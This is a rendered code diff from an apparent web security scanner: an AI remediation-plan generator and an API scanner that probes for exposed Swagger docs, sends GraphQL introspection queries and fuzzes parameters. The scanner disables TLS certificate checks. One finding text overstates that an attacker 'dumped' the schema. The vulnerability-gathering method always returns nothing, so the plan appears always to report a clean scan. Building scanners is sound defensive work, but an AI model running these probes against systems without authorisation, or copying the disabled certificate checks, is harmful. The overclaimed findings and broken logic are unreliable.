| 139 |
+
"effort": 1,
|
| 140 |
+
"tags": ["exposure", "quick-win"],
|
| 141 |
+
"code": {
|
| 142 |
+
"nginx": "location ~ /\\.(git|svn|hg|env) {\n deny all;\n return 404;\n}",
|
| 143 |
+
"apache": "RedirectMatch 404 /\\.git\nRedirectMatch 404 /\\.env",
|
| 144 |
+
},
|
| 145 |
+
},
|
| 146 |
+
"dependency": {
|
| 147 |
+
"effort": 3,
|
| 148 |
+
"tags": ["dependencies", "medium-effort"],
|
| 149 |
+
"code": {
|
| 150 |
+
"node": "npm audit fix\nnpm update\n# Or: npx npm-check-updates -u && npm install",
|
| 151 |
+
"python": "pip install --upgrade pip\npip list --outdated\npip install safety && safety check",
|
| 152 |
+
"php": "composer update\ncomposer audit",
|
| 153 |
+
},
|
| 154 |
+
},
|
| 155 |
+
"rate limit": {
|
| 156 |
+
"effort": 3,
|
| 157 |
+
"tags": ["auth", "medium-effort"],
|
| 158 |
+
"code": {
|
| 159 |
+
"nginx": "limit_req_zone $binary_remote_addr zone=login:10m rate=5r/m;\nlimit_req zone=login burst=3 nodelay;",
|
| 160 |
+
"express": "const rateLimit = require('express-rate-limit');\napp.use('/login', rateLimit({windowMs:60000, max:5}));",
|
| 161 |
+
},
|
| 162 |
+
},
|
| 163 |
+
}
|
| 164 |
+
|
| 165 |
+
EFFORT_LABELS = {
|
| 166 |
+
range(0, 1): "Quick Fix (< 1 hour)",
|
| 167 |
+
range(1, 4): "Short Sprint (1–3 hours)",
|
| 168 |
+
range(4, 9): "Medium Task (4–8 hours)",
|
| 169 |
+
range(9, 100): "Large Effort (> 8 hours)",
|
| 170 |
+
}
|
| 171 |
+
|
| 172 |
+
def _effort_label(hours: float) -> str:
|
| 173 |
+
for r, label in EFFORT_LABELS.items():
|
| 174 |
+
if int(hours) in r:
|
| 175 |
+
return label
|
| 176 |
+
return f"~{int(hours)} hours"
|
| 177 |
+
|
| 178 |
+
|
| 179 |
+
def _match_kb(title: str) -> dict | None:
|
| 180 |
+
title_lower = title.lower()
|
| 181 |
+
for keyword, entry in KNOWLEDGE_BASE.items():
|
| 182 |
+
if keyword in title_lower:
|
| 183 |
+
return entry
|
| 184 |
+
return None
|
| 185 |
+
|
| 186 |
+
|
| 187 |
+
class AiRemediationScanner(BaseScanner):
|
| 188 |
+
SCANNER_NAME = "AI Remediation Generator"
|
| 189 |
+
_SCANNER_KEY = "ai_remediation"
|
| 190 |
+
|
| 191 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 192 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 193 |
+
self._openai_key = os.environ.get("OPENAI_API_KEY", "")
|
| 194 |
+
self._stack = self._detect_stack()
|
| 195 |
+
|
| 196 |
+
# ------------------------------------------------------------------
|
| 197 |
+
def run(self) -> list:
|
| 198 |
+
self.log("INFO",
|
| 199 |
+
f"[AI-Remediation] Generating remediation plan for {self.target}...")
|
| 200 |
+
self.log("INFO",
|
| 201 |
+
f"[AI-Remediation] Detected tech stack hint: {self._stack or 'unknown'}")
|
| 202 |
+
|
| 203 |
+
try:
|
| 204 |
+
# Gather all vulns from the shared in-memory log for this scan
|
| 205 |
+
all_vulns = self._gather_all_vulns()
|
| 206 |
+
self.log("INFO",
|
| 207 |
+
f"[AI-Remediation] Processing {len(all_vulns)} finding(s) from pipeline...")
|
| 208 |
+
|
| 209 |
+
if not all_vulns:
|
| 210 |
+
self.log("SUCCESS",
|
| 211 |
+
"[AI-Remediation] No findings to remediate — clean scan!")
|
| 212 |
+
return self.vulns
|
| 213 |
+
|
| 214 |
+
# Sort by CVSS score descending
|
| 215 |
+
sorted_vulns = sorted(all_vulns,
|
| 216 |
+
key=lambda v: float(v.get("cvss_score") or 0), reverse=True)
|
| 217 |
+
|
| 218 |
+
remediation_items = []
|
| 219 |
+
total_effort = 0.0
|
| 220 |
+
|
| 221 |
+
for i, vuln in enumerate(sorted_vulns[:30], 1): # top 30
|
| 222 |
+
title = vuln.get("title", "")
|
| 223 |
+
severity= vuln.get("severity","Info")
|
| 224 |
+
cvss = float(vuln.get("cvss_score") or 0)
|
| 225 |
+
kb = _match_kb(title)
|
| 226 |
+
effort = kb["effort"] if kb else self._estimate_effort(cvss)
|
| 227 |
+
total_effort += effort
|
| 228 |
+
|
| 229 |
+
code_hint = ""
|
| 230 |
+
if kb and kb.get("code"):
|
| 231 |
+
stack_code = kb["code"].get(self._stack) or \
|
| 232 |
+
next(iter(kb["code"].values()), "")
|
| 233 |
+
if stack_code:
|
| 234 |
+
code_hint = f"\n\n**Fix Code ({self._stack or 'generic'}):**\n```\n{stack_code}\n```"
|
| 235 |
+
|
| 236 |
+
remediation_items.append({
|
| 237 |
+
"rank": i,
|
| 238 |
+
"title": title,
|
| 239 |
+
"severity": severity,
|
| 240 |
+
"cvss": cvss,
|
| 241 |
+
"effort": effort,
|
| 242 |
+
"effort_label": _effort_label(effort),
|
| 243 |
+
"tags": kb["tags"] if kb else [],
|
| 244 |
+
"code_hint": code_hint,
|
| 245 |
+
})
|
| 246 |
+
|
| 247 |
+
# ── Generate AI-enhanced advice if API key is available ────
|
| 248 |
+
if self._openai_key:
|
| 249 |
+
self._enhance_with_openai(remediation_items[:5])
|
| 250 |
+
|
| 251 |
+
# ── Emit consolidated remediation plan as a finding ────────
|
| 252 |
+
self._emit_plan(remediation_items, total_effort, sorted_vulns)
|
| 253 |
+
|
| 254 |
+
except Exception as e:
|
| 255 |
+
self.log("WARNING", f"[AI-Remediation] Error: {e}")
|
| 256 |
+
|
| 257 |
+
return self.vulns
|
| 258 |
+
|
| 259 |
+
# ------------------------------------------------------------------
|
| 260 |
+
def _gather_all_vulns(self) -> list:
|
| 261 |
+
"""Collect all vulns from in-memory log for this scan_id.
|
| 262 |
+
NOTE: active_scan_logs stores plain strings, not dicts.
|
| 263 |
+
This method safely skips non-dict entries and always returns [].
|
| 264 |
+
The AI remediation plan is generated from self.vulns populated by
|
| 265 |
+
the orchestrator via scanner.py's _run_scan_job -> all_vulns flow.
|
| 266 |
+
"""
|
| 267 |
+
logs = active_scan_logs.get(self.scan_id, [])
|
| 268 |
+
seen = set()
|
| 269 |
+
vulns = []
|
| 270 |
+
for entry in logs:
|
| 271 |
+
# Logs are plain strings — skip any non-dict entries safely
|
| 272 |
+
if not isinstance(entry, dict):
|
| 273 |
+
continue
|
| 274 |
+
if entry.get("type") == "vuln":
|
| 275 |
+
key = entry.get("title", "") + entry.get("severity", "")
|
| 276 |
+
if key not in seen:
|
| 277 |
+
seen.add(key)
|
| 278 |
+
vulns.append(entry)
|
| 279 |
+
return vulns
|
| 280 |
+
|
| 281 |
+
# ------------------------------------------------------------------
|
| 282 |
+
def _detect_stack(self) -> str:
|
| 283 |
+
"""Heuristic: probe the target and detect framework from headers/body."""
|
| 284 |
+
try:
|
| 285 |
+
req = urllib.request.Request(self.target,
|
| 286 |
+
headers={"User-Agent": "LarShield/2.0 AI-Remediation"})
|
| 287 |
+
with urllib.request.urlopen(req, timeout=6, context=self.get_ssl_context()) as r:
|
| 288 |
+
headers = {k.lower(): v.lower() for k, v in r.headers.items()}
|
| 289 |
+
body = r.read(4096).decode("utf-8", errors="ignore").lower()
|
| 290 |
+
|
| 291 |
+
server = headers.get("server","")
|
| 292 |
+
powered = headers.get("x-powered-by","")
|
| 293 |
+
|
| 294 |
+
if "php" in powered or "php" in server: return "php"
|
| 295 |
+
if "express" in powered or "node" in server: return "node"
|
| 296 |
+
if "django" in body or "csrfmiddlewaretoken" in body: return "python"
|
| 297 |
+
if "laravel" in body or "laravel_session" in headers.get("set-cookie",""): return "php"
|
| 298 |
+
if "asp.net" in powered or "asp.net" in server: return "aspnet"
|
| 299 |
+
if "java" in server or "tomcat" in server or "jsessionid" in headers.get("set-cookie",""): return "java"
|
| 300 |
+
if "rails" in server or "x-request-id" in headers: return "ruby"
|
| 301 |
+
except Exception as e:
|
| 302 |
+
print(f"ERROR: [AI] Framework detection error: {e}")
|
| 303 |
+
return "nginx" # default to nginx/generic
|
| 304 |
+
|
| 305 |
+
# ------------------------------------------------------------------
|
| 306 |
+
@staticmethod
|
| 307 |
+
def _estimate_effort(cvss: float) -> float:
|
| 308 |
+
if cvss >= 9.0: return 8.0
|
| 309 |
+
if cvss >= 7.0: return 5.0
|
| 310 |
+
if cvss >= 4.0: return 3.0
|
| 311 |
+
return 1.0
|
| 312 |
+
|
| 313 |
+
# ------------------------------------------------------------------
|
| 314 |
+
def _enhance_with_openai(self, top_items: list):
|
| 315 |
+
"""Call OpenAI API to generate enhanced remediation for top 5 findings."""
|
| 316 |
+
try:
|
| 317 |
+
prompt = (
|
| 318 |
+
"You are a senior application security engineer. "
|
| 319 |
+
"For each finding below, provide a concise, specific fix in 2-3 sentences "
|
| 320 |
+
f"for a {self._stack} application:\n\n"
|
| 321 |
+
+ "\n".join(f"{i+1}. [{v['severity']}] {v['title']} (CVSS {v['cvss']})"
|
| 322 |
+
for i, v in enumerate(top_items))
|
| 323 |
+
)
|
| 324 |
+
body = json.dumps({
|
| 325 |
+
"model": "gpt-4o-mini",
|
| 326 |
+
"messages": [{"role": "user", "content": prompt}],
|
| 327 |
+
"max_tokens": 800,
|
| 328 |
+
"temperature": 0.3,
|
| 329 |
+
}).encode()
|
| 330 |
+
req = urllib.request.Request(
|
| 331 |
+
"https://api.openai.com/v1/chat/completions",
|
| 332 |
+
data=body,
|
| 333 |
+
headers={
|
| 334 |
+
"Authorization": f"Bearer {self._openai_key}",
|
| 335 |
+
"Content-Type": "application/json",
|
| 336 |
+
},
|
| 337 |
+
)
|
| 338 |
+
with urllib.request.urlopen(req, timeout=20) as r:
|
| 339 |
+
resp = json.loads(r.read())
|
| 340 |
+
ai_text = resp["choices"][0]["message"]["content"]
|
| 341 |
+
self.log("INFO", f"[AI-Remediation] OpenAI enhanced advice: {ai_text[:300]}...")
|
| 342 |
+
# Inject into first item
|
| 343 |
+
if top_items:
|
| 344 |
+
top_items[0]["ai_advice"] = ai_text
|
| 345 |
+
except Exception as e:
|
| 346 |
+
self.log("WARNING", f"[AI-Remediation] OpenAI call failed: {e}")
|
| 347 |
+
|
| 348 |
+
# ------------------------------------------------------------------
|
| 349 |
+
def _emit_plan(self, items: list, total_effort: float, all_vulns: list):
|
| 350 |
+
sev_counts = {}
|
| 351 |
+
for v in all_vulns:
|
| 352 |
+
s = v.get("severity","Info")
|
| 353 |
+
sev_counts[s] = sev_counts.get(s,0) + 1
|
| 354 |
+
|
| 355 |
+
quick_wins = [i for i in items if "quick-win" in i.get("tags",[])]
|
| 356 |
+
critical_items = [i for i in items if i["cvss"] >= 9.0]
|
| 357 |
+
|
| 358 |
+
plan_lines = [
|
| 359 |
+
f"# Remediation Plan — {self.target}",
|
| 360 |
+
f"**Total findings processed:** {len(all_vulns)}",
|
| 361 |
+
f"**Detected stack:** {self._stack or 'unknown'}",
|
| 362 |
+
f"**Estimated total fix effort:** ~{int(total_effort)} hours",
|
| 363 |
+
"",
|
| 364 |
+
"## Severity Distribution",
|
| 365 |
+
*[f"- **{k}:** {v}" for k, v in sev_counts.items()],
|
| 366 |
+
"",
|
| 367 |
+
f"## ⚡ Quick Wins First ({len(quick_wins)} items, < 1h each)",
|
| 368 |
+
*[f"- [{qw['severity']}] **{qw['title']}** — {qw['effort_label']}" for qw in quick_wins[:10]],
|
| 369 |
+
"",
|
| 370 |
+
f"## 🚨 Critical Priority ({len(critical_items)} items)",
|
| 371 |
+
*[f"- CVSS {ci['cvss']} — **{ci['title']}**" for ci in critical_items[:10]],
|
| 372 |
+
"",
|
| 373 |
+
"## Prioritized Remediation Roadmap",
|
| 374 |
+
]
|
| 375 |
+
|
| 376 |
+
for item in items[:20]:
|
| 377 |
+
code = item.get("code_hint","")
|
| 378 |
+
plan_lines.append(
|
| 379 |
+
f"\n### #{item['rank']} [{item['severity']}] {item['title']}\n"
|
| 380 |
+
f"**CVSS:** {item['cvss']} | **Effort:** {item['effort_label']} | "
|
| 381 |
+
f"**Tags:** {', '.join(item.get('tags',['general']))}"
|
| 382 |
+
f"{code}"
|
| 383 |
+
)
|
| 384 |
+
|
| 385 |
+
self.add_vuln(
|
| 386 |
+
title="AI-Generated Remediation Plan",
|
| 387 |
+
severity="Low",
|
| 388 |
+
category="Remediation Plan",
|
| 389 |
+
cvss_score=0.0,
|
| 390 |
+
description="\n".join(plan_lines),
|
| 391 |
+
remediation=(
|
| 392 |
+
"Execute the quick wins immediately (< 1 hour each). "
|
| 393 |
+
f"Address all Critical CVSS ≥ 9.0 items within 24 hours. "
|
| 394 |
+
f"Schedule the remaining {len(items)} items in your next sprint."
|
| 395 |
+
),
|
| 396 |
+
)
|
| 397 |
+
|
| 398 |
+
self.log("SUCCESS",
|
| 399 |
+
f"[AI-Remediation] Plan generated: {len(items)} items, "
|
| 400 |
+
f"~{int(total_effort)}h total effort, "
|
| 401 |
+
f"{len(quick_wins)} quick wins, {len(critical_items)} critical.")
|
backend/scanners/api_scanner.py
ADDED
|
@@ -0,0 +1,169 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import urllib.request, urllib.error, urllib.parse, ssl, json
|
| 2 |
+
from scanners.base_scanner import BaseScanner
|
| 3 |
+
from utils.fuzzer_engine import ContextAwareFuzzer
|
| 4 |
+
|
| 5 |
+
class ApiScanner(BaseScanner):
|
| 6 |
+
SCANNER_NAME = "API & GraphQL Introspection Scanner"
|
| 7 |
+
|
| 8 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 9 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 10 |
+
self._ctx = ssl.create_default_context()
|
| 11 |
+
self._ctx.check_hostname = False
|
| 12 |
+
self._ctx.verify_mode = ssl.CERT_NONE
|
| 13 |
+
self._headers = {"User-Agent": "LarShield/2.0 API-Analyzer", "Content-Type": "application/json"}
|
| 14 |
+
if self.auth_headers:
|
| 15 |
+
self._headers.update(self.auth_headers)
|
| 16 |
+
self.base_url = target.rstrip("/")
|
| 17 |
+
self._fuzzer = ContextAwareFuzzer(self._api_fuzzer_req)
|
| 18 |
+
|
| 19 |
+
def _api_fuzzer_req(self, url, params, headers=None):
|
| 20 |
+
data = urllib.parse.urlencode(params).encode("utf-8") if params else None
|
| 21 |
+
merged = {"Content-Type": "application/x-www-form-urlencoded"}
|
| 22 |
+
if headers:
|
| 23 |
+
merged.update(headers)
|
| 24 |
+
body, status = self._make_request(url, method="POST", data=data, headers=merged, timeout=8)
|
| 25 |
+
return body or "", status
|
| 26 |
+
|
| 27 |
+
def _get(self, path):
|
| 28 |
+
url = f"{self.base_url}{path}"
|
| 29 |
+
try:
|
| 30 |
+
req = urllib.request.Request(url, headers=self._headers)
|
| 31 |
+
with urllib.request.urlopen(req, timeout=5, context=self._ctx) as resp:
|
| 32 |
+
return resp.read().decode("utf-8", errors="ignore"), resp.status
|
| 33 |
+
except urllib.error.HTTPError as e:
|
| 34 |
+
return e.read().decode("utf-8", errors="ignore") if e.fp else "", e.code
|
| 35 |
+
except Exception as e:
|
| 36 |
+
self.log("ERROR", f"[API] GET error: {e}")
|
| 37 |
+
return "", 0
|
| 38 |
+
|
| 39 |
+
def _post(self, path, payload):
|
| 40 |
+
url = f"{self.base_url}{path}"
|
| 41 |
+
try:
|
| 42 |
+
data = json.dumps(payload).encode('utf-8')
|
| 43 |
+
req = urllib.request.Request(url, data=data, headers=self._headers, method='POST')
|
| 44 |
+
with urllib.request.urlopen(req, timeout=5, context=self._ctx) as resp:
|
| 45 |
+
return resp.read().decode("utf-8", errors="ignore"), resp.status
|
| 46 |
+
except urllib.error.HTTPError as e:
|
| 47 |
+
return e.read().decode("utf-8", errors="ignore") if e.fp else "", e.code
|
| 48 |
+
except Exception as e:
|
| 49 |
+
self.log("ERROR", f"[API] POST error: {e}")
|
| 50 |
+
return "", 0
|
| 51 |
+
|
| 52 |
+
def check_swagger(self):
|
| 53 |
+
self.log("INFO", "[API] Hunting for exposed Swagger/OpenAPI documentation...")
|
| 54 |
+
paths = ["/swagger-ui.html", "/api-docs", "/v2/api-docs", "/openapi.json", "/api/swagger.json", "/docs"]
|
| 55 |
+
for path in paths:
|
| 56 |
+
body, status = self._get(path)
|
| 57 |
+
if status == 200 and ("swagger" in body.lower() or "openapi" in body.lower()):
|
| 58 |
+
self.log("CRITICAL", f"[API] Exposed API documentation found at {path}")
|
| 59 |
+
self.add_vuln(
|
| 60 |
+
title="Exposed API Documentation (Swagger/OpenAPI)",
|
| 61 |
+
severity="High",
|
| 62 |
+
category="Information Disclosure",
|
| 63 |
+
cvss_score=7.5,
|
| 64 |
+
description=f"Unauthenticated API documentation was discovered at `{path}`. Attackers can use this to map out the entire backend infrastructure, discover hidden endpoints, and find injection vectors.",
|
| 65 |
+
remediation="Restrict access to API documentation endpoints in production environments using IP whitelisting or robust authentication."
|
| 66 |
+
)
|
| 67 |
+
break
|
| 68 |
+
|
| 69 |
+
def check_graphql(self):
|
| 70 |
+
self.log("INFO", "[API] Testing GraphQL endpoints for Introspection vulnerabilities...")
|
| 71 |
+
endpoints = ["/graphql", "/api/graphql", "/v1/graphql"]
|
| 72 |
+
introspection_query = {
|
| 73 |
+
"query": "{ __schema { types { name fields { name } } } }"
|
| 74 |
+
}
|
| 75 |
+
|
| 76 |
+
for path in endpoints:
|
| 77 |
+
body, status = self._post(path, introspection_query)
|
| 78 |
+
if status == 200 and "__schema" in body:
|
| 79 |
+
self.log("CRITICAL", f"[API] GraphQL Introspection enabled at {path}")
|
| 80 |
+
self.add_vuln(
|
| 81 |
+
title="GraphQL Introspection Query Enabled",
|
| 82 |
+
severity="Critical",
|
| 83 |
+
category="API Security",
|
| 84 |
+
cvss_score=9.1,
|
| 85 |
+
description=f"The GraphQL endpoint at `{path}` allows Introspection queries. An attacker dumped the entire database schema, including all types, mutations, and hidden fields. This completely exposes the application's internal data structures.",
|
| 86 |
+
remediation="Disable GraphQL introspection in your production environment. In Apollo Server, set `introspection: false`."
|
| 87 |
+
)
|
| 88 |
+
break
|
| 89 |
+
|
| 90 |
+
def _fuzz_api_params(self):
|
| 91 |
+
swagger_paths = ["/api-docs", "/v2/api-docs", "/openapi.json", "/api/swagger.json"]
|
| 92 |
+
swagger_spec = None
|
| 93 |
+
for path in swagger_paths:
|
| 94 |
+
body, status = self._get(path)
|
| 95 |
+
if status == 200 and body:
|
| 96 |
+
try:
|
| 97 |
+
swagger_spec = json.loads(body)
|
| 98 |
+
break
|
| 99 |
+
except json.JSONDecodeError:
|
| 100 |
+
continue
|
| 101 |
+
|
| 102 |
+
if swagger_spec:
|
| 103 |
+
paths = swagger_spec.get("paths", {})
|
| 104 |
+
for endpoint, methods in paths.items():
|
| 105 |
+
url = f"{self.base_url}{endpoint}"
|
| 106 |
+
for method, details in methods.items():
|
| 107 |
+
if method.upper() not in ("GET", "POST", "PUT", "DELETE", "PATCH"):
|
| 108 |
+
continue
|
| 109 |
+
params = {}
|
| 110 |
+
for param in details.get("parameters", []):
|
| 111 |
+
if param.get("in") in ("query", "formData"):
|
| 112 |
+
params[param["name"]] = str(param.get("default", "test"))
|
| 113 |
+
if not params:
|
| 114 |
+
continue
|
| 115 |
+
self.log("INFO", f"[API] Context-aware fuzzing {endpoint} ({len(params)} params)")
|
| 116 |
+
self._fuzzer.fuzz(url, params)
|
| 117 |
+
baseline_body, _ = self._make_request(url, timeout=8)
|
| 118 |
+
baseline_length = len(baseline_body or "")
|
| 119 |
+
anomalies = self._fuzzer.anomalies(baseline_length)
|
| 120 |
+
for anom in anomalies:
|
| 121 |
+
self.log("WARNING", f"[API] Fuzzer anomaly at {endpoint}: {anom['param']} mutation={anom['mutation']} status={anom['status']}")
|
| 122 |
+
self.add_vuln(
|
| 123 |
+
title=f"API Injection — {anom['param']} ({anom['mutation']})",
|
| 124 |
+
severity="High",
|
| 125 |
+
category="Injection",
|
| 126 |
+
cvss_score=7.5,
|
| 127 |
+
description=(
|
| 128 |
+
f"API endpoint {endpoint} parameter '{anom['param']}' "
|
| 129 |
+
f"(classified as '{anom['type']}') returned an anomalous response "
|
| 130 |
+
f"when mutated with '{anom['mutation']}' (value: {anom['value']}). "
|
| 131 |
+
f"HTTP {anom['status']}, response length {anom['length']}."
|
| 132 |
+
),
|
| 133 |
+
remediation="Validate and sanitize all API input parameters. Use parameterized queries, input type enforcement, and proper output encoding.",
|
| 134 |
+
cwe_ids=["CWE-20"],
|
| 135 |
+
owasp_category="A03:2021 – Injection",
|
| 136 |
+
)
|
| 137 |
+
else:
|
| 138 |
+
common_api_params = ["id", "q", "search", "query", "page", "limit", "offset", "sort", "filter",
|
| 139 |
+
"token", "key", "secret", "user", "email", "name", "status", "type", "role"]
|
| 140 |
+
params = {p: "test" for p in common_api_params}
|
| 141 |
+
self.log("INFO", "[API] No swagger spec found; fuzzing common API parameters on base URL")
|
| 142 |
+
self._fuzzer.fuzz(self.base_url, params)
|
| 143 |
+
baseline_body, _ = self._make_request(self.target, timeout=8)
|
| 144 |
+
baseline_length = len(baseline_body or "")
|
| 145 |
+
anomalies = self._fuzzer.anomalies(baseline_length)
|
| 146 |
+
for anom in anomalies:
|
| 147 |
+
self.log("WARNING", f"[API] Fuzzer anomaly: {anom['param']} mutation={anom['mutation']} status={anom['status']}")
|
| 148 |
+
self.add_vuln(
|
| 149 |
+
title=f"API Injection — {anom['param']} ({anom['mutation']})",
|
| 150 |
+
severity="High",
|
| 151 |
+
category="Injection",
|
| 152 |
+
cvss_score=7.5,
|
| 153 |
+
description=(
|
| 154 |
+
f"Common API parameter '{anom['param']}' (classified as '{anom['type']}') "
|
| 155 |
+
f"returned an anomalous response when mutated with '{anom['mutation']}' "
|
| 156 |
+
f"(value: {anom['value']}). HTTP {anom['status']}, response length {anom['length']}."
|
| 157 |
+
),
|
| 158 |
+
remediation="Validate and sanitize all API input parameters. Use parameterized queries, input type enforcement, and proper output encoding.",
|
| 159 |
+
cwe_ids=["CWE-20"],
|
| 160 |
+
owasp_category="A03:2021 – Injection",
|
| 161 |
+
)
|
| 162 |
+
|
| 163 |
+
def run(self):
|
| 164 |
+
self.log("INFO", f"[API] Starting Advanced API analysis on {self.target}...")
|
| 165 |
+
self.check_swagger()
|
| 166 |
+
self.check_graphql()
|
| 167 |
+
self._fuzz_api_params()
|
| 168 |
+
self.log("SUCCESS" if not self.vulns else "WARNING", "[API] Analysis complete.")
|
| 169 |
+
return self.vulns
|
backend/scanners/api_security_scanner.py
ADDED
|
@@ -0,0 +1,538 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
